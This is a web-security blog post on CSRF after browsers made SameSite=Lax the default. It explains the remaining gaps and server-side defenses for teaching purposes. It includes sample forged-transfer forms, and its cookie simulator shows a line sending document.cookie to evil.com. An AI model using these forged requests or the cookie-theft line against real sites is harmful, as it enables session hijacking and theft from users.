Blog/Web Security
Web SecurityJuly 28, 2026 · 10 min read

CSRF in 2026: What SameSite Fixed, and What It Didn't

For about fifteen years, CSRF was the bug everyone had to explain to every new developer. Then browsers changed a default, and a large part of the problem quietly disappeared.

That change is real. It is also routinely over-read into "CSRF is dead", which is how teams end up shipping the specific configurations that still break.

The attack, briefly

Your user is logged into bank.example. They open an unrelated page which contains:

<form action="https://bank.example/transfer" method="POST" id="f">
  <input name="to" value="attacker">
  <input name="amount" value="5000">
</form>
<script>document.getElementById("f").submit()</script>

The browser sends the POST and — this is the whole trick — attaches the session cookie for bank.example, because that is what browsers do with cookies. The server sees a properly authenticated request from a real, logged-in user and processes the transfer.

The attacker never reads the response. The same-origin policy stops that, and it doesn't matter: they wanted the side effect, not the reply.

Two consequences follow that people frequently get wrong:

  • CSRF only affects state-changing requests. If a GET merely reads data, forging it accomplishes nothing, since the attacker can't see what came back. If your GET changes state, that's a separate bug you should fix first.
  • Checking that the user is logged in is not a defense. The user is logged in. That's the premise of the attack, not a mitigation.

What SameSite actually changed

SameSite tells the browser whether to attach a cookie to requests that originate from a different site.

ValueAttached on cross-site requests?
StrictNever
LaxOnly on top-level GET navigations
NoneAlways — requires Secure

Chrome began rolling Lax out as the default for cookies with no explicit SameSite in 2020, and the other major browsers followed. So the classic cross-site POST above now arrives at your server without the session cookie, and fails on its own.

Cookie Flag Simulator
Toggle flags and see which attacks are blocked or allowed.
Set-Cookie: session=<token>; Path=/; Max-Age=604800; SameSite=None
HttpOnly
Blocks JS from reading via document.cookie
Secure
Only sent over HTTPS connections
SameSite
Attack Scenario
VULNERABLE— enable HttpOnly to fix
Attacker injects a script that reads document.cookie and exfiltrates session tokens.
// active threat
fetch("https://evil.com/steal?c=" + document.cookie)
Protected by:HttpOnly

That is a genuine, enormous improvement. It is not the same as the class being closed.

What SameSite=Lax still lets through

Top-level GET navigations. Lax deliberately permits cookies on a normal link click, because breaking that would break the web. So if any state-changing endpoint responds to GET, a plain <a href> or a redirect still carries the session:

<!-- Still works under SameSite=Lax if the endpoint accepts GET -->
<a href="https://bank.example/transfer?to=attacker&amount=5000">Free stuff</a>

Never let GET change state. This has always been the rule; Lax made it load-bearing.

Subdomains are same-site. SameSite operates on the registrable domain, not the origin. evil.bank.example is same-site with bank.example, so a request from a compromised, forgotten, or dangling subdomain carries cookies normally. If you have ever pointed a CNAME at a cloud provider and stopped using it, this matters to you — a subdomain takeover converts directly into full CSRF.

Anything you set to None. Embedded widgets, third-party SSO flows, iframes, and some payment integrations require SameSite=None. Every cookie you mark that way opts out of the entire protection, and the classic attack works against it exactly as it did in 2015.

Non-browser clients. SameSite is enforced by browsers. It has no bearing on anything else that speaks HTTP.

Older or unusual browsers. Shrinking as a concern, but a control you cannot verify server-side is not a control you should rely on alone.

Defend on the server, treat SameSite as depth

The rule of thumb: SameSite is an excellent second layer and a poor only layer, because you cannot verify from the server that it was honoured.

Synchronizer tokens

The default answer for cookie-authenticated apps that render HTML. Generate a random token, store it against the session, embed it in every state-changing form, and reject anything that doesn't match:

// Issue with the form
const csrf = crypto.randomBytes(32).toString("base64url");
req.session.csrf = csrf;
 
// Verify on submit — constant-time, to avoid leaking the token bytewise
const ok =
  typeof req.body.csrf === "string" &&
  req.body.csrf.length === req.session.csrf.length &&
  crypto.timingSafeEqual(Buffer.from(req.body.csrf), Buffer.from(req.session.csrf));
 
if (!ok) return res.sendStatus(403);

The attacker's page cannot read the token — that would require reading a response from your origin, which the same-origin policy forbids. That is the security property doing the work.

Double-submit cookies

If you don't want server-side state, send the same random value as a cookie and as a header, and compare them. Your JavaScript can read your own cookie and set the header; an attacker's page cannot read yours.

The trade-off is real and worth stating plainly: double-submit only compares two attacker-invisible values. If an attacker can write a cookie on your domain — again, a subdomain takeover is the usual route — they can set both halves and the check passes. Prefer synchronizer tokens when you can hold session state, and if you use double-submit, sign the value against the session so a planted cookie fails.

Check Origin

Origin is sent on all cross-origin requests and on same-origin POSTs, and — unlike a form field — it cannot be forged by page-level JavaScript:

const ALLOWED = new Set(["https://bank.example"]);
if (!ALLOWED.has(req.headers.origin)) return res.sendStatus(403);

Cheap, and a good belt-and-braces check. Handle the absent-header case deliberately rather than defaulting to allow, and never reflect the received value back into Access-Control-Allow-Origin — that turns a CSRF defense into a CORS vulnerability.

A short checklist

  1. No GET endpoint changes state. Fix these before anything else.
  2. Session cookies are HttpOnly, Secure, and SameSite=Lax or Strict.
  3. Every state-changing route requires a CSRF token, verified in constant time.
  4. Origin is validated against an allowlist, and a missing header is treated as a failure.
  5. You know precisely which cookies are SameSite=None and why.
  6. Subdomains are inventoried, and dangling DNS records are removed — they are same-site with you.

Try it

The simulation below is a working vulnerable transfer endpoint and an attacker page. Fire the forged request, watch the money move, then turn on each defense in turn and watch exactly which ones stop it — including the case where SameSite=Lax doesn't.

Share this post

Frequently Asked Questions

Related posts

Race Conditions in Web Apps: When Two Requests Beat Your Check

Check-then-act logic that looks correct on paper breaks when two requests run at once. Here's how TOCTOU race conditions drain balances and reuse one-time codes, and how atomic operations and locks fix them.

Aug 11, 2026 · 7 min read

Mass Assignment: How role=admin Ends Up in Your Update

Mass assignment lets an attacker set fields you never meant to expose — like isAdmin or accountBalance — by adding them to a request body. Here's why binding whole objects is dangerous and how to allowlist fields in Node, Rails, and Django.

Aug 10, 2026 · 6 min read

Insecure Deserialization: How Loading Data Becomes Running Code

Deserializing untrusted data can execute code before your app reads a single field. Here's how gadget chains work in Python pickle, Java, PHP, and Node, and why JSON with a schema is the fix.

Aug 9, 2026 · 7 min read